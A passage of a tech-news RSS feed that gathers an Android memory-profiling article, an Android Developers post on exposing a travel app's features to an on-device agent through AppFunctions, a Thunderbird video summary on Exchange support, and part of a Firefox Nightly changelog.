        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
  <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s960/Comp%201.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s1600/Comp%201.gif"></a></div><br><div class="vertical-video-wrapper"><br></div>

<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Community Office Hours: Exchange Email Support]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 15x - Views:697 Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Su...]]></description>
<link>https://tsecurity.de/de/3693439/video/community-office-hours-exchange-email-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693439/video/community-office-hours-exchange-email-support/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:14 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 15x - Views:697 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/w986NrVHBM0?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Support for email that just landed in Thunderbird Monthly Release 145. Learn how the team landed this feature and discover future plans for Calendar and Contact support, as well as Graph API<br />
<br />
Chapters:<br />
00:00 Intro<br />
03:50 What is Microsoft Exchange<br />
05:07 Why it took so long to add Exchange<br />
14:33 Exchange in Thunderbird 145<br />
18:20 Config options and authorization<br />
27:10 Attachments and storage<br />
32:30 Sync and folder operations<br />
36:10 Filters and notification<br />
39:10 Search<br />
40:20 Feedback and bug reporting<br />
43:00 Mobile and Graph API<br />
49:09 JMAP and future protocols<br />
55:50 Calendar and address book<br />
59:57 Roadmap and EWS deprecation<br />
62:23 Closing<br />
<br />
Resources:<br />
Exchange Mozilla Support Article: https://support.mozilla.org/en-US/kb/thunderbird-and-exchange<br />
Exchange Mozilla Wiki Post (with call for testing): https://wiki.mozilla.org/Thunderbird%3AExchange<br />
Reach out on Matrix: https://matrix.to/#/#thunderbird:mozilla.org<br />
Bugzilla (use Exchange component for reporting): https://bugzilla.mozilla.org/enter_bug.cgi?product=MailNews%20Core<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203]]></title>
<description><![CDATA[Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when ...]]></description>
<link>https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693294/tools/firefox-nightly-more-kit-more-control-these-weeks-in-firefox-issue-203/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:32 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>James <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032547">enabled adaptive autofill in Nightly</a> for testing, which we believe should provide better results in the URL bar when doing autocomplete!</li>
<li>Jack <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031837">updated the illustrations shown on some of our error pages</a> to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!</li>
</ul>
<p><img alt="Internet connection error page with an adorable Kit illustration" class="aligncenter wp-image-2080 size-full" height="652" src="https://blog.nightly.mozilla.org/files/2026/06/image2-1.png" width="1584"></p>
<ul>
<li>Controls for the Memories feature <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032998">can now be set during Smart Window onboarding</a></li>
</ul>
<p><img alt='Two radio button controls for the Smart Window Memories feature, including "Chats in Smart Window" and "Browsing across Firefox"' class="aligncenter wp-image-2078 size-full" height="546" src="https://blog.nightly.mozilla.org/files/2026/06/image4-1-e1780509799577.png" width="500"></p>
<p> </p>
<ul>
<li>We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016509">completing the deprecation</a>
<ul>
<li><b>NOTE:</b> The blog post published at<a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/"> WebExtensions API changes in Firefox 149-152</a> provides to extensions developers more details about this deprecation and links to the related MDN docs.</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=2031599%2C2033820%2C2034178%2C1930213%2C2035355%2C1611643%2C2020302%2C2026007%2C2031015%2C2035252%2C2036528%2C411384%2C2033780%2C2036199%2C1812100%2C1898257%2C2030070%2C2030072">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Amin Amir</li>
<li>Pranjali Srivastava</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li> 🌟:23rd: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1812100">Regression: The new swipe-to-navigation indicator stucks for a moment, when deciding not to navigate the other page</a></li>
<li>🌟Akeem Omosanya: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035252">Remove commented-out code in SearchService.sys.mjs</a></li>
<li>Amin Amir:
<ul>
<li>🌟<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033820">Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs</a></li>
</ul>
</li>
<li>🌟Sahaj: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031015">Suggest the default target language for translation after changing the detected source language</a></li>
<li>🌟JIANG Zhirui: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036199">Breakpad build failed on Windows using VS2026 due to removal of stdext</a></li>
<li> John Iweh: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030072">Add “Open in New Tab” and “Open in New Container Tab” options to the context menu for Tabs from Other Devices</a></li>
<li>Jak: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030070">Bookmarks and History – should respect the “When you open a link, image or media in a new tab, switch to it immediately” setting</a></li>
<li>🌟Andy [:rgbcmy]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1611643">Autoplayed next video should also be PIP</a></li>
<li> konyhéa: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930213">“Escape” key should collapse the expanded on hover sidebar launcher even if hover is still active.</a></li>
<li> Pranjali Srivastava:
<ul>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1898257">Remove icon property from sidebar extensions</a></li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026007">Show language-agnostic SelectTranslations context menu item when the source and target languages are the same</a></li>
</ul>
</li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1532724"> Bug 1532724</a>, fix shipping in Firefox 152) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1595158"> Bug 1595158</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed access to web-accessible resources declared with &lt;all_urls&gt; from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033905"> Bug 2033905</a></li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029092"> Bug 2029092</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li>Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
<ul>
<li>added support for remote debugging (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014064">#2014064</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016121">#2016121</a>)</li>
<li>made sure that calls to History.replaceState are reflected in the UI (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037359">#2037359</a>)</li>
</ul>
</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030260">#2030260</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> fixed the image preview tooltip for relative URLs images in constructed stylesheet (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035503">#2035503</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026228">#2026228</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Amin Amir cleaned up an <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031599">incorrect variable assignment</a> in our browsingContext module.</li>
<li>Logan Rosen <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036603">updated stale references and broken links</a> in our documentation about Marionette.</li>
<li>Sameem improved the Marionette and WebDriver BiDi <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020302">screenshot commands to enforce maximum allowed dimensions</a>.</li>
<li>Leo McArdle fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030964">the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”</a>.</li>
<li>Henrik Skupin fixed an issue in Marionette where <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033769">WebDriver:Navigate and WebDriver:Refresh did not handle errors</a> when the underlying navigation failed.</li>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1839953">improved geckodriver to detect an early Firefox exit during startup on Android</a>, avoiding up to 60 seconds of unnecessary connection attempts.</li>
<li>Henrik Skupin updated the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028933">geckodriver CI build job to produce a universal macOS binary</a> supporting both x64 and aarch64.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
